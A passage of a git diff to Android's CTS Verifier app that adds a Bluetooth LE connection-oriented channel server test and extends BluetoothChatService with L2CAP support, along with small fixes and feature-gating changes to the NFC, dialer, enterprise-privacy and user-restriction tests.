+        @Override
+        public void onStartFailure(int errorCode) {
+            // Implementation for API Test.
+            super.onStartFailure(errorCode);
+            if (DEBUG) {
+                Log.d(TAG, "onStartFailure");
+            }
+
+            if (errorCode == ADVERTISE_FAILED_FEATURE_UNSUPPORTED) {
+                notifyAdvertiseUnsupported();
+            } else {
+                notifyOpenFail();
+            }
+        }
+
+        @Override
+        public void onStartSuccess(AdvertiseSettings settingsInEffect) {
+            // Implementation for API Test.
+            super.onStartSuccess(settingsInEffect);
+            if (DEBUG) {
+                Log.d(TAG, "onStartSuccess");
+            }
+        }
+    };
+
+    /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+        String indent = "";
+        for (int i = 0; i < level; ++i) {
+            indent += "  ";
+        }
+
+        Log.d(TAG, indent + "[service]");
+        Log.d(TAG, indent + "UUID: " + service.getUuid());
+        Log.d(TAG, indent + "  [characteristics]");
+        for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
+            Log.d(TAG, indent + "    UUID: " + ch.getUuid());
+            Log.d(TAG, indent + "      properties: "
+                  + String.format("0x%02X", ch.getProperties()));
+            Log.d(TAG, indent + "      permissions: "
+                  + String.format("0x%02X", ch.getPermissions()));
+            Log.d(TAG, indent + "      [descriptors]");
+            for (BluetoothGattDescriptor d : ch.getDescriptors()) {
+                Log.d(TAG, indent + "        UUID: " + d.getUuid());
+                Log.d(TAG, indent + "          permissions: "
+                      + String.format("0x%02X", d.getPermissions()));
+            }
+        }
+
+        if (service.getIncludedServices() != null) {
+            Log.d(TAG, indent + "  [included services]");
+            for (BluetoothGattService s : service.getIncludedServices()) {
+                dumpService(s, level + 1);
+            }
+        }
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
new file mode 100644
index 0000000..17d1370
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.ListView;
+import android.widget.Toast;
+
+public class BleCocServerTestBaseActivity extends PassFailButtons.Activity {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocServerTestBaseActivity";
+
+    private final int TEST_BLE_LE_CONNECTED = 0;
+    private final int TEST_BLE_LISTENER_CREATED = 1;
+    private final int TEST_BLE_PSM_READ = 2;
+    private final int TEST_BLE_COC_CONNECTED = 3;
+    private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 4;
+    private final int TEST_BLE_DATA_8BYTES_READ = 5;
+    private final int TEST_BLE_DATA_8BYTES_SENT = 6;
+    private final int TEST_BLE_DATA_EXCHANGED = 7;
+    private final int TEST_BLE_SERVER_DISCONNECTED = 8;
+    private static final int PASS_FLAG_ALL = 0x01FF;
+
+    private TestAdapter mTestAdapter;
+    private long mPassed;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_coc_server_start_name,
+                         R.string.ble_server_start_info, -1);
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mPassed = 0;
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+
+        filter.addAction(BleCocServerService.BLE_LE_CONNECTED);
+        filter.addAction(BleCocServerService.BLE_COC_LISTENER_CREATED);
+        filter.addAction(BleCocServerService.BLE_PSM_READ);
+        filter.addAction(BleCocServerService.BLE_COC_CONNECTED);
+        filter.addAction(BleCocServerService.BLE_CONNECTION_TYPE_CHECKED);
+        filter.addAction(BleCocServerService.BLE_DATA_8BYTES_READ);
+        filter.addAction(BleCocServerService.BLE_DATA_8BYTES_SENT);
+        filter.addAction(BleCocServerService.BLE_DATA_LARGEBUF_READ);
+
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleCocServerService.BLE_SERVER_DISCONNECTED);
+
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleCocServerService.BLE_OPEN_FAIL);
+        filter.addAction(BleCocServerService.BLE_ADVERTISE_UNSUPPORTED);
+        filter.addAction(BleCocServerService.BLE_ADD_SERVICE_FAIL);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_coc_server_le_connect);
+        testList.add(R.string.ble_coc_server_create_listener);
+        testList.add(R.string.ble_coc_server_psm_read);
+        testList.add(R.string.ble_coc_server_connection);
+        testList.add(R.string.ble_coc_server_check_connection_type);
+        testList.add(R.string.ble_coc_server_receive_data_8bytes);
+        testList.add(R.string.ble_coc_server_send_data_8bytes);
+        testList.add(R.string.ble_coc_server_data_exchange);
+        testList.add(R.string.ble_server_receiving_disconnect);
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (DEBUG) {
+                Log.d(TAG, "BroadcastReceiver.onReceive: action=" + action);
+            }
+            String newAction = null;
+            final Intent startIntent = new Intent(BleCocServerTestBaseActivity.this, BleCocServerService.class);
+
+            switch (action) {
+            case BleCocServerService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+            case BleCocServerService.BLE_LE_CONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+                mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+                break;
+            case BleCocServerService.BLE_COC_LISTENER_CREATED:
+                mTestAdapter.setTestPass(TEST_BLE_LISTENER_CREATED);
+                mPassed |= (1 << TEST_BLE_LISTENER_CREATED);
+                break;
+            case BleCocServerService.BLE_PSM_READ:
+                mTestAdapter.setTestPass(TEST_BLE_PSM_READ);
+                mPassed |= (1 << TEST_BLE_PSM_READ);
+                break;
+            case BleCocServerService.BLE_COC_CONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+                mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+                break;
+            case BleCocServerService.BLE_CONNECTION_TYPE_CHECKED:
+                mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+                mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+                break;
+            case BleCocServerService.BLE_DATA_8BYTES_READ:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+                // send the next action to send 8 bytes
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES;
+                break;
+            case BleCocServerService.BLE_DATA_8BYTES_SENT:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+                // send the next action to send 8 bytes
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_EXCHANGE_DATA;
+                break;
+            case BleCocServerService.BLE_DATA_LARGEBUF_READ:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+                mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+                // Disconnect
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_DISCONNECT;
+                break;
+            case BleCocServerService.BLE_SERVER_DISCONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_SERVER_DISCONNECTED);
+                mPassed |= (1 << TEST_BLE_SERVER_DISCONNECTED);
+                // all tests done
+                break;
+            case BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+            case BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+            case BleCocServerService.BLE_ADVERTISE_UNSUPPORTED:
+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);
+                break;
+            case BleCocServerService.BLE_OPEN_FAIL:
+                setTestResultAndFinish(false);
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        Toast.makeText(BleCocServerTestBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();
+                    }
+                });
+                break;
+            case BleCocServerService.BLE_ADD_SERVICE_FAIL:
+                showErrorDialog(R.string.bt_add_service_failed_title, R.string.bt_add_service_failed_message, true);
+                break;
+            default:
+                if (DEBUG) {
+                    Log.d(TAG, "Note: BroadcastReceiver.onReceive: unhandled action=" + action);
+                }
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+
+            if (newAction != null) {
+                Log.d(TAG, "Starting " + newAction);
+                startIntent.setAction(newAction);
+
+                startService(startIntent);
+            }
+
+            if (mPassed == PASS_FLAG_ALL) {
+                Log.d(TAG, "All Tests Passed.");
+                getPassButton().setEnabled(true);
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
old mode 100644
new mode 100755
index 3d2b840..38cad0f
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -46,10 +46,10 @@
     private Dialog mDialog;

     private Handler mHandler;

 

-    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 0;

-    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 1;

-    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 2;

-    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 3;

+    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 0;

+    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 1;

+    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 2;

+    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 3;

 

     @Override

     protected void onCreate(Bundle savedInstanceState) {

@@ -125,10 +125,10 @@
 

     private List<Integer> setupTestList() {

         ArrayList<Integer> testList = new ArrayList<Integer>();

-        testList.add(R.string.ble_read_authenticated_characteristic_name);

         testList.add(R.string.ble_write_authenticated_characteristic_name);

-        testList.add(R.string.ble_read_authenticated_descriptor_name);

+        testList.add(R.string.ble_read_authenticated_characteristic_name);

         testList.add(R.string.ble_write_authenticated_descriptor_name);

+        testList.add(R.string.ble_read_authenticated_descriptor_name);

         return testList;

     }

 

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
index 68797f5..090ad01 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
@@ -309,7 +309,7 @@
                             mBluetoothGatt.discoverServices();

                         }

                     }, 1000);

-                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {

+                } else if (newState == BluetoothProfile.STATE_DISCONNECTED) {

                     showMessage("Bluetooth LE disconnected");

                     mTaskQueue.addTask(new Runnable() {

                         @Override

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
index 6eb587f..f2be547 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
@@ -73,6 +73,9 @@
     private ConnectThread mConnectThread;
     private ConnectedThread mConnectedThread;
     private int mState;
+    private boolean mBleTransport;
+    private int mLePsm;
+    private int mSocketConnectionType = -1;
 
     // Constants that indicate the current connection state
     public static final int STATE_NONE = 0;       // we're doing nothing
@@ -90,6 +93,22 @@
         mState = STATE_NONE;
         mHandler = handler;
         mUuid = uuid;
+        mBleTransport = false;
+    }
+
+    /**
+     * Constructor. Prepares a new BluetoothChat session.
+     * @param context  The UI Activity Context
+     * @param handler  A Handler to send messages back to the UI Activity
+     * @param useBle   A flag to use the BLE transport
+     */
+    public BluetoothChatService(Context context, Handler handler, boolean useBle) {
+        mAdapter = BluetoothAdapter.getDefaultAdapter();
+        mState = STATE_NONE;
+        mHandler = handler;
+        mUuid = null;
+        mBleTransport = useBle;
+        if (D) Log.d(TAG, "Construct BluetoothChatService: useBle=" + useBle);
     }
 
     /**
@@ -136,12 +155,47 @@
     }
 
     /**
+     * Return the assigned PSM value.
+     */
+    public synchronized int getPsm(boolean secure) {
+        if (secure && mSecureAcceptThread != null) {
+            return mSecureAcceptThread.getPsm();
+        }
+        else if (!secure && mInsecureAcceptThread != null) {
+            return mInsecureAcceptThread.getPsm();
+        }
+        Log.e(TAG, "getPsm: Invalid PSM value");
+        return 0;
+    }
+
+    /**
+     * Return the socket Connection Type.
+     */
+    public synchronized int getSocketConnectionType() {
+        return mSocketConnectionType;
+    }
+
+    /**
      * Start the ConnectThread to initiate a connection to a remote device.
-     * @param device  The BluetoothDevice to connect
+     * @param device  The BluetoothDevice to connect to
      * @param secure Socket Security type - Secure (true) , Insecure (false)
      */
     public synchronized void connect(BluetoothDevice device, boolean secure) {
-        if (D) Log.d(TAG, "connect to: " + device);
+        if (!mBleTransport) {
+            connect(device, secure, 0);
+        } else {
+            Log.e(TAG, "connect: Error: LE cannot call this method!");
+        }
+    }
+
+    /**
+     * Start the ConnectThread to initiate a connection to a remote device.
+     * @param device  The BluetoothDevice to connect to
+     * @param secure Socket Security type - Secure (true) , Insecure (false)
+     * @param psm Assigned PSM value
+     */
+    public synchronized void connect(BluetoothDevice device, boolean secure, int psm) {
+        if (D) Log.d(TAG, "connect to: " + device + ", psm: " + psm + ", ble: " + mBleTransport);
 
         // Cancel any thread attempting to make a connection
         if (mState == STATE_CONNECTING) {
@@ -152,7 +206,7 @@
         if (mConnectedThread != null) {mConnectedThread.cancel(); mConnectedThread = null;}
 
         // Start the thread to connect with the given device
-        mConnectThread = new ConnectThread(device, secure);
+        mConnectThread = new ConnectThread(device, secure, psm);
         mConnectThread.start();
         setState(STATE_CONNECTING);
     }
@@ -281,15 +335,31 @@
 
             // Create a new listening server socket
             try {
-                if (secure) {
-                    tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+                if (mBleTransport) {
+                    if (secure) {
+                        tmp = mAdapter.listenUsingL2capChannel();
+                    } else {
+                        tmp = mAdapter.listenUsingInsecureL2capChannel();
+                    }
                 } else {
-                    tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+                    if (secure) {
+                        tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+                    } else {
+                        tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+                    }
                 }
             } catch (IOException e) {
-                Log.e(TAG, "Socket Type: " + mSocketType + " listen() failed", e);
+                Log.e(TAG, "Socket Type: " + mSocketType + ", le: " + mBleTransport + " listen() failed", e);
             }
             mmServerSocket = tmp;
+            if (mBleTransport) {
+                // Get the assigned PSM value
+                mLePsm = mmServerSocket.getPsm();
+            }
+        }
+
+        public int getPsm() {
+            return mLePsm;
         }
 
         public void run() {
@@ -317,6 +387,7 @@
                         case STATE_LISTEN:
                         case STATE_CONNECTING:
                             // Situation normal. Start the connected thread.
+                            mSocketConnectionType = socket.getConnectionType();
                             connected(socket, socket.getRemoteDevice(),
                                     mSocketType);
                             break;
@@ -335,8 +406,10 @@
                     Log.i(TAG, "Got null socket");
                 }
             }
-            if (D) Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType);
-
+            if (D) {
+                Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType
+                         + ", SocketConnectionType: " + mSocketConnectionType);
+            }
         }
 
         public void cancel() {
@@ -361,26 +434,50 @@
         private String mSocketType;
 
         public ConnectThread(BluetoothDevice device, boolean secure) {
+            if (mBleTransport) {
+                Log.e(TAG, "ConnectThread: Error: LE should not call this constructor");
+            }
             mmDevice = device;
+            mmSocket = connectThreadCommon(device, secure, 0);
+        }
+
+        public ConnectThread(BluetoothDevice device, boolean secure, int psm) {
+            mmDevice = device;
+            mmSocket = connectThreadCommon(device, secure, psm);
+        }
+
+        private BluetoothSocket connectThreadCommon(BluetoothDevice device, boolean secure, int psm) {
             BluetoothSocket tmp = null;
             mSocketType = secure ? "Secure" : "Insecure";
 
             // Get a BluetoothSocket for a connection with the
             // given BluetoothDevice
             try {
-                if (secure) {
-                    tmp = device.createRfcommSocketToServiceRecord(mUuid);
+                if (mBleTransport) {
+                    if (secure) {
+                        tmp = device.createL2capChannel(psm);
+                    } else {
+                        tmp = device.createInsecureL2capChannel(psm);
+                    }
                 } else {
-                    tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+                    if (secure) {
+                        tmp = device.createRfcommSocketToServiceRecord(mUuid);
+                    } else {
+                        tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+                    }
                 }
             } catch (IOException e) {
                 Log.e(TAG, "Socket Type: " + mSocketType + "create() failed", e);
             }
-            mmSocket = tmp;
+
+            mSocketConnectionType = tmp.getConnectionType();
+
+            return tmp;
         }
 
         public void run() {
-            Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType);
+            Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType
+                  + ", mSocketConnectionType: " + mSocketConnectionType);
             setName("ConnectThread" + mSocketType);
 
             // Always cancel discovery because it will slow down a connection
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
index a7f0a95..1d782d7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
@@ -91,7 +91,9 @@
     mLaunchAccessibilitySettingsButton.setOnClickListener(
         (View unused) ->
             startActivity(new Intent(TelecomManager.ACTION_SHOW_CALL_ACCESSIBILITY_SETTINGS)));
-    if (!mTelephonyManager.isHearingAidCompatibilitySupported() && !mTelephonyManager.isTtyModeSupported()) {
+    if (!mTelephonyManager.isHearingAidCompatibilitySupported()
+        && !mTelephonyManager.isTtyModeSupported()
+        && !mTelephonyManager.isRttSupported()) {
         mLaunchAccessibilitySettingsButton.setVisibility(View.INVISIBLE);
         mLaunchAccessibilitySettingsCheckBox.setVisibility(View.INVISIBLE);
         mLaunchAccessibilitySettingsCheckBox.setChecked(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index c779a2a..4909497 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,8 +19,6 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import com.android.compatibility.common.util.CddTest;
-
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Typeface;
@@ -43,7 +41,6 @@
 /**
  * CTS Verifier case for verifying GPS.
  */
-@CddTest(requirement="7.3.3/C-1-1")
 public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
     private LocationManager mLocationManager;
     private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 519d50b..3a16297 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -312,22 +312,20 @@
                                         CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
                                         .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
                                                 "Foo, Inc."))}));
-        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
-                    R.string.enterprise_privacy_keyguard,
-                    R.string.enterprise_privacy_keyguard_info,
-                    new ButtonInfo[]{
-                            new ButtonInfo(R.string.enterprise_privacy_open_settings,
-                                    new Intent(Settings.ACTION_SETTINGS)),
-                            new ButtonInfo(R.string.enterprise_privacy_clear_organization,
-                                    buildCommandIntent(
-                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
-                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
-                                    buildCommandIntent(
-                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
-                                            .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
-                                                    "Foo, Inc."))}));
-        }
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
+                R.string.enterprise_privacy_keyguard,
+                R.string.enterprise_privacy_keyguard_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                                        .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+                                                "Foo, Inc."))}));
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT,
                 R.string.enterprise_privacy_add_account,
                 R.string.enterprise_privacy_add_account_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
index 6637509..31a8791 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
@@ -110,14 +110,12 @@
     }
 
     protected void setupDisableUnredactedWorkNotification(ArrayTestListAdapter adapter) {
-        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            adapter.add(new DialogTestListItemWithIcon(this,
-                    R.string.provisioning_byod_disable_unredacted_notifications,
-                    getTestIdPrefix() + "DisableUnredactedNotifications",
-                    R.string.provisioning_byod_disable_unredacted_notifications_instruction,
-                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
-                    R.drawable.ic_corp_icon));
-        }
+        adapter.add(new DialogTestListItemWithIcon(this,
+                R.string.provisioning_byod_disable_unredacted_notifications,
+                getTestIdPrefix() + "DisableUnredactedNotifications",
+                R.string.provisioning_byod_disable_unredacted_notifications_instruction,
+                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
+                R.drawable.ic_corp_icon));
     }
 
     protected void setupFingerprintTests(ArrayTestListAdapter adapter) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 12b0da8..f004ace 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -31,6 +31,7 @@
 
 public class UserRestrictions {
     private static final String[] RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY = new String[] {
+        UserManager.DISALLOW_ADD_USER,
         UserManager.DISALLOW_ADJUST_VOLUME,
         UserManager.DISALLOW_APPS_CONTROL,
         UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
@@ -59,6 +60,7 @@
     private static final ArrayMap<String, UserRestrictionItem> USER_RESTRICTION_ITEMS;
     static {
         final int[] restrictionLabels = new int[] {
+            R.string.disallow_add_user,
             R.string.disallow_adjust_volume,
             R.string.disallow_apps_control,
             R.string.disallow_config_cell_broadcasts,
@@ -85,6 +87,7 @@
         };
 
         final int[] restrictionActions = new int[] {
+            R.string.disallow_add_user_action,
             R.string.disallow_adjust_volume_action,
             R.string.disallow_apps_control_action,
             R.string.disallow_config_cell_broadcasts_action,
@@ -111,6 +114,7 @@
         };
 
         final String[] settingsIntentActions = new String[] {
+            Settings.ACTION_SETTINGS,
             Settings.ACTION_SOUND_SETTINGS,
             Settings.ACTION_APPLICATION_SETTINGS,
             Settings.ACTION_SETTINGS,
@@ -227,6 +231,8 @@
     public static boolean isRestrictionValid(Context context, String restriction) {
         final PackageManager pm = context.getPackageManager();
         switch (restriction) {
+            case UserManager.DISALLOW_ADD_USER:
+                return UserManager.supportsMultipleUsers();
             case UserManager.DISALLOW_ADJUST_VOLUME:
                 return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
             case UserManager.DISALLOW_CONFIG_CELL_BROADCASTS:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
index eb84d1e..c710490 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
@@ -53,19 +53,22 @@
 
         ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
 
-        adapter.add(TestListItem.newCategory(this, R.string.nfc_pee_2_pee));
-        adapter.add(TestListItem.newTest(this, R.string.nfc_ndef_push_sender,
-                NdefPushSenderActivity.class.getName(),
-                new Intent(this, NdefPushSenderActivity.class), null));
-        adapter.add(TestListItem.newTest(this, R.string.nfc_ndef_push_receiver,
-                NdefPushReceiverActivity.class.getName(),
-                new Intent(this, NdefPushReceiverActivity.class), null));
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC_BEAM)) {
+            adapter.add(TestListItem.newCategory(this, R.string.nfc_pee_2_pee));
+            adapter.add(TestListItem.newTest(this, R.string.nfc_ndef_push_sender,
+                    NdefPushSenderActivity.class.getName(),
+                    new Intent(this, NdefPushSenderActivity.class), null));
+            adapter.add(TestListItem.newTest(this, R.string.nfc_ndef_push_receiver,
+                    NdefPushReceiverActivity.class.getName(),
+                    new Intent(this, NdefPushReceiverActivity.class), null));
 
-        if ("MNC".equals(Build.VERSION.CODENAME) || Build.VERSION.SDK_INT >= 23) {
-            adapter.add(TestListItem.newTest(this, R.string.nfc_llcp_version_check,
-                    LlcpVersionActivity.class.getName(),
-                    new Intent(this, LlcpVersionActivity.class), null));
+            if ("MNC".equals(Build.VERSION.CODENAME) || Build.VERSION.SDK_INT >= 23) {
+                adapter.add(TestListItem.newTest(this, R.string.nfc_llcp_version_check,
+                        LlcpVersionActivity.class.getName(),
+                        new Intent(this, LlcpVersionActivity.class), null));
+            }
         }
+
         adapter.add(TestListItem.newCategory(this, R.string.nfc_tag_verification));
         adapter.add(TestListItem.newTest(this, R.string.nfc_ndef,
                 NDEF_ID, getTagIntent(Ndef.class), null));
